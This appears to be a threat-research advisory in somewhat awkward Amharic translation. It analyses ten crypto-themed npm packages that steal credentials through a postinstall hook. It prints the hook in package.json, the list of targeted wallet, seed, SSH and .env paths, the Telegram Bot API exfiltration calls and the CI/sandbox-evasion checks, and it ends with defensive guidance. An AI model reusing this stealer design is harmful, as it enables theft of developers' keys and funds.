TL; DR
ሰኔ 9 ቀን 2026 አንድ ነጠላ የnpm አሳታሚ መለያ፣ aicrypto-xzggg፣ ተልኳል አስር ፓኬጆች በክሪፕቶ እና በዌብ3 ጣዕም ስሞች — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9እና ስድስት ተጨማሪ።
እያንዳንዱ ፓኬጅ ከሚከተሉት ተመሳሳይ የክፍያ ጭነት ያካሂዳል postinstall መንጠቆ። ሲጫን፣ በCI ወይም በአሸዋ ሳጥን ውስጥ እየሰራ መሆኑን ያረጋግጣል - ካልሆነ የኪስ ቦርሳ ቁልፍ ስቶሮችን፣ የዘር-ሐረግ ፋይሎችን፣ የSSH ቁልፎችን እና .env ከስድስት የብሎክቼይን ሥነ-ምህዳሮች የተውጣጡ ፋይሎችን ወደ ቴሌግራም ቦት ያስተላልፋል።
አንድ ተከላካዩ ወዲያውኑ ሊያገኘው የሚችለው ብቸኛው አመልካች የቴሌግራም ቦት መታወቂያ ነው 8227918239.
ከባድነት ወሳኝ — የፊርማ ቁልፎችን እና የመልሶ ማግኛ ሀረጎችን በቀጥታ ከስርቆት የገንቢ ጣቢያዎች.
ጥቃቱ፡ እንዴት እንደሚሰራ
ፓኬጆቹ እራሳቸውን እንደ blockchain ገንቢ መገልገያዎች ያስተዋውቃሉ። package.json አነስተኛ ነው እና የመጫኛውን የህይወት ዑደት ወደ ስክሪፕት ይጠቁማል፡
{ "name": "farming-tools-12", "main": "src/index.js", "scripts": { "postinstall": "node scripts/postinstall.js" }, "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"], "author": "Alex Smith", "license": "MIT" }ስክሪፕቶች/postinstall.js እውነተኛውን ጭነት የሚጭን አንድ መስመር ያለው ሺም ነው፡ ያስፈልጋል(“../src/index.js”). ምክንያቱም ድህረ-ጭነት በዚህ ጊዜ በራስ-ሰር ይሰራል የሌሊት ጭነትገንቢው የኮድ ማስመጣት አያስፈልገውም - ጥቅሉን በጥገኛ ዛፍ ውስጥ ማስቀመጥ እሱን ለማስፈጸም በቂ ነው።
በውስጡ ያለው የግድያ ሰንሰለት src/index.js አራት ደረጃዎች አሉት፡-
- የአካባቢ ፍተሻ። የጥበቃ ተግባር አስተናጋጁ የግንባታ ወኪል ወይም የትንታኔ አሸዋ ሳጥን መስሎ ይታይ እንደሆነ ይወስናል።
- መዘግየት። አፈፃፀሙ ከኋላ ተላልፏል setTimeout በግምት 7.4 ሰከንዶች።
- ስብስብ የተወሰነ የኪስ ቦርሳ፣ የቁልፍ እና የሚስጥር የፋይል ዱካዎች ዝርዝር ተዘርግቷል፤ ነባር ፋይሎች ወረፋ ይዘዋል።
- የፍሳሽ ማስወገጃ። የተደረደሩ ፋይሎች ወደ ቴሌግራም ቦት ይላካሉ፣ ማጠቃለያ መልእክትም ይቀድማል።
የስብስቡ ኢላማ ዝርዝር ስድስት ሰንሰለቶችን እና አጠቃላይ የገንቢ ምስጢሮችን ያካትታል። የተከረከመ፦
~/.config/solana/id.json ~/.ethereum/keystore ~/.solana/keypair.json ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt ./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.localበአጠቃላይ ሃያ አንድ ዱካዎች። የማውጫ ግቤቶች እንደ ~/.ethereum/keystore ተዘርግተዋል እና በውስጡ ያለው እያንዳንዱ ፋይል ወረፋ ይዟል። ኤክስፊልትሬሽኑ የቴሌግራም ቦት ኤፒአይን በቀጥታ ይጠቀማል - a መልእክት ላክ ከአስተናጋጅ እና የፋይል ማጠቃለያ ጋር ይደውሉ፣ ከዚያም ሰነድ ላክ ለእያንዳንዱ ፋይል ባለብዙ ክፍል ጭነት፦
ጽሑፍ
POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument (one per file)ኮዱ የሚሰበስበው የማጠቃለያ መልእክት የሚጀምረው ቃል በቃል ሕብረቁምፊ ነው። ክሪፕቶ ሌለር, ከዚያም የአስተናጋጅ ስም፣ የተጠቃሚ ስም፣ የመነሻ ጥቅል ስም፣ የፋይል ብዛት እና የጊዜ ማህተም ይከተላል።
እዚህ ምን አዲስ ነገር አለ?
ልዩነቱ የስርቆት ዘዴ አይደለም — በቴሌግራም ላይ የተመሠረተ exfil ከ npm ድህረ-ጭነት hooks በሚገባ የተረገጠ ነው። እሱ ነው የማስፈጸሚያ በር። ማንኛውንም ነገር ከማድረግዎ በፊት፣ የክፍያ ጭነቱ አስተናጋጁ የCI ሯጭ ወይም የአሸዋ ሳጥን ሲመስል እውነት የሚመልስ ተግባርን ይጠራል፣ እና ሲሰራ ቀደም ብሎ ይመለሳል፡
ጽሑፍ
isTestEnvironment() is true when ANY of: - env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set - env NODE_ENV in {test, development} - username/USER contains: runner, sandbox, test, docker, jenkins, gitlab, travis, circleci - hostname contains: sandbox, test, ci - hostname matches /^[a-f0-9]{12}$/ (a container-id shape)የኮንቴይነር-አይዲ ሬጅክስ የሚታወቀው አንቀጽ ነው፡ ባለ 12-ሄክስ-ቁምፊ አስተናጋጅ ስም ዶከር ለ... የሚመድበው ነባሪ ቅርፅ ነው እቃስለዚህ የክፍያው ጭነት "የአስተናጋጅ ስሜ እንደ ዶከር ኮንቴይነር ይመስላል" ብሎ ለማንቀላፋት እንደ ምክንያት አድርጎ ይቆጥረዋል። ከሰባት ሰከንድ መዘግየት ጋር ሲጣመር፣ ዲዛይኑ በገንቢው እውነተኛ የስራ ጣቢያ ላይ መሮጥ እና እንደ አውቶማቲክ ትንተና በሚመስል ቦታ ሁሉ ጸጥ ማለትን ይመርጣል። ያ በር ተለዋዋጭ-ትንተና ምልክቶችን የጨፈነ እና የማይንቀሳቀስ exfil ፍሰትን እንደ ዋና የጥፋተኝነት ማስረጃ አድርጎ የጠበቀ ነው።
የጊዜ መስመር
ሁሉም አስርቱ በሰባ ደቂቃ አካባቢ ውስጥ ታይተዋል፣ ይህም ከአንድ አካውንት የተወሰደ አንድ የስክሪፕት ህትመት ሂደት ጋር ይጣጣማል።
የመደራደር አመላካቾች
የአውታረ መረብ እና የባህሪ አመልካቾች (አስተናጋጅ ተሰርዟል):
ፓኬጆች እና ስሪቶች፣ እያንዳንዳቸው የSHA-256 ጥቅሎችን ይይዛሉ src/index.js የክፍያ ጭነት (የክፍያ ጭነቶች በተግባር ተመሳሳይ ናቸው እና በተከተተው የጥቅል ስም መለያ ውስጥ ብቻ ይለያያሉ፣ ስለዚህ እያንዳንዱ ሃሽ የተለየ ነው)
ቀላል የአደን ጥያቄ፡- ከአስር ስሞች ውስጥ ለማንኛቸውም የመጫኛ ምዝግብ ማስታወሻዎችን እና የመቆለፊያ ፋይሎችን ይፈልጉ፣ እና ከግንባታ ወይም ከገንቢ አስተናጋጆች የቴሌግራም ቦት ኤፒአይ ግንኙነቶችን ለማግኘት ወደ ውጭ የሚሄድ ትራፊክ ይፈልጉ።
ባለቤትነት እና የተስተዋለ ባህሪ
ሁሉም አስር ፓኬጆች በአንድ አካውንት ታትመዋል፣ aicrypto-xzgggየተገለጸው ኢሜል vipsyria88@gmail[.]comኢሜይሉም ሆነ የምንጭ-ቁጥጥር ሊንኩ በመዝገብ ሜታዳታ ውስጥ አልተረጋገጡም፣ እና መለያው በጣም አሉታዊ የዝና ውጤት አለው። መለያውን ማን እንደሚያስተዳድረው አላረጋገጥንም።
ሁለት ዝርዝሮች ከማንኛውም የማንነት ጥያቄ መለየት ተገቢ ነው። በመጀመሪያ፣ package.json ደራሲ የመስክ ንባቦች አሌክስ ስሚዝ በእያንዳንዱ ጥቅል ላይ፣ ትክክለኛው የህትመት መለያ ግን aicrypto-xzgggየደራሲው መስክ ራሱን የገለጸ ሜታዳታ ሲሆን የደራሲነትን ማንነት አያረጋግጥም። ሁለተኛ፣ የስሪት ቁጥሮቹ በስፋት ይለያያሉ - አንዳንድ አባላት በ 1.0.0፣ ሌሎች በ 4.68.54 - ይህም እውነተኛ የልቀት ታሪኮችን ከመጠበቅ ይልቅ አዲስ በተዘጋጁ የጥቅል ስሞች ላይ አንድ የክፍያ ጭነት እንደገና ከመጠቀም ጋር የሚጣጣም ነው።
ባህሪው በክላስተር ውስጥ አንድ አይነት ነው፡ ተመሳሳይ የዒላማ መንገድ ዝርዝር፣ ተመሳሳይ የቴሌግራም ቦት መታወቂያ እና የውይይት መታወቂያ፣ ተመሳሳይ የአካባቢ በር፣ ተመሳሳይ ክሪፕቶ ሌለር ምልክት ማድረጊያ። ያ ተመሳሳይነት በጥቅሎቹ መካከል በጣም ጠንካራው አገናኝ ነው። ተመሳሳይ-ኦፕሬተር ምልክት ነው፣ ማንነት አይደለም።
ለተሟጋቾች ተጽእኖ፣ አዝማሚያዎች እና መመሪያ
ተጋላጭነቱ ተጨባጭ ነው። ከእነዚህ ፓኬጆች ውስጥ ማንኛውንም የሶፍትዌር ቦርሳ፣ የዘር-ሐረግ ፋይል ወይም የSSH ቁልፍ ባለው የስራ ጣቢያ ላይ የሚጭን ገንቢ እነዚያ ፋይሎች በሰከንዶች ውስጥ ከአስተናጋጁ እንዲነበቡ እና እንዲተላለፉ ያደርጋል። የመልሶ ማግኛ ሀረጎች እና የመፈረሚያ ቁልፎች የክፍለ ጊዜ ቶከን እንደሚያበቃ አያልቁም፤ አንዴ mnemonic.txt ወይም ሶላና አይዲ.ጄሰን ማሽኑን ትቶ ሲወጣ፣ የሚቆጣጠረው ገንዘብ እስኪዛወር ድረስ አደጋ ላይ ነው። ተመሳሳዩ ሩጫም ይይዛል .env የኤፒአይ ቁልፎችን እና የውሂብ ጎታ ምስክርነቶችን በመደበኛነት የሚይዙ ፋይሎች።
ከዚህ ክላስተር ጀርባ ሁለት አዝማሚያዎች አሉ። የመጀመሪያው የተወሰኑ ታዳሚዎችን ለመሳብ የክሪፕቶ እና የዌብ3-ገጽታ ስሞችን መጠቀም መቀጠል ነው - የኪስ ቦርሳዎችን እና ቁልፎችን በሚጭኑበት ተመሳሳይ ማሽን ላይ የሚይዙ ገንቢዎች። ሁለተኛው በመጫኛ ጊዜ የክፍያ ጭነቶች ውስጥ የአሸዋ ሳጥን ማምለጫ ማብቀል ነው። የCI አካባቢ ተለዋዋጮችን፣ የሩጫ ተጠቃሚዎችን እና የዶከር ኮንቴይነር-አይዲ አስተናጋጅ ስም ቅርፅን የሚፈትሽ በር በእውነተኛ የስራ ጣቢያ ላይ ከመተንተን በተለየ መንገድ ለመምራት የታሰበ ጥረት ሲሆን ለንፁህ ተለዋዋጭ ማወቂያም ደረጃውን ከፍ ያደርገዋል።
ለተከላካዮች፦
ስክሪፕቶች በነባሪነት ተሰናክለው ሲጫኑ። npm install –ignore-scripts፣ ወይም ተዘጋጅቷል ignore-scripts = true in .npmrc፣ ይከላከላል ድህረ-ጭነት አፈፃፀም፤ ስክሪፕቶችን በእውነት ለሚያስፈልጋቸው የተወሰኑ ጥገኞች ብቻ ያንቁ።
የኪስ ቦርሳዎችን እና የፊርማ ቁልፎችን ከግንባታ እና ከልማት ማሽኖች ያርቁ። የሃርድዌር ቦርሳ ወይም የተወሰነ፣ ጥገኝነት የሌለበት የፊርማ አስተናጋጅ ይጠቀሙ።
ምን ዓይነት ግንኙነት ሊኖረን .env, የቁልፍ ማከማቻዎች እና የዘር-ሐረግ ፋይሎች እንደ ዘውድ ዕንቁዎች። እንዲሁም እንደ ዘውድ ማውጫ ውስጥ መቀመጥ የለባቸውም የሌሊት ጭነት የስራ ዛፍ።
ከ CI እና ከገንቢ አስተናጋጆች ወደ ቴሌግራም ቦት ኤፒአይ የሚደረጉ ውጫዊ ግንኙነቶችን ይፈልጉ። አብዛኛዎቹ የግንባታ አካባቢዎች በጭራሽ አይጠሩትም፤ ከተጫነ በኋላ በድንገት የሚያደርገው ነገር መመርመር ተገቢ ነው።
ጥገኛዎችን በፒን እና በግምገማ ላይ። አዲስ ጥቅል ከአጠቃላይ የክሪፕቶ ስም ጋር፣ ድህረ-ጭነት መንጠቆ፣ እና ወደ መቆለፊያ ፋይል ከመግባቱ በፊት ምንም የማከማቻ አገናኝ አይታይም።
የኮንቴይነር-አይዲ ማምለጫ አንቀጽ ለተንታኞችም ማሳሰቢያ ነው፡- በአሸዋ ሳጥን ውስጥ ተኝቶ የሚቆይ የመጫኛ ጊዜ ክፍያ ቀላል አይደለም፣ መራጭ ነው። የመጫኛ መንገዱን የማይለዋወጥ ግምገማ ምን ተለዋዋጭ አፈፃፀም ማሳየት እንደማይችል ለማየት አስተማማኝ መንገድ ሆኖ ይቀጥላል።
ማጣቀሻዎች
የnpm ጭነት ሰነድ - የህይወት ዑደት ስክሪፕቶች እና -አይመልከቱ-ስክሪፕቶች- አውቶማቲክ ጭነትን ለማሰናከል ማጣቀሻ hooks.
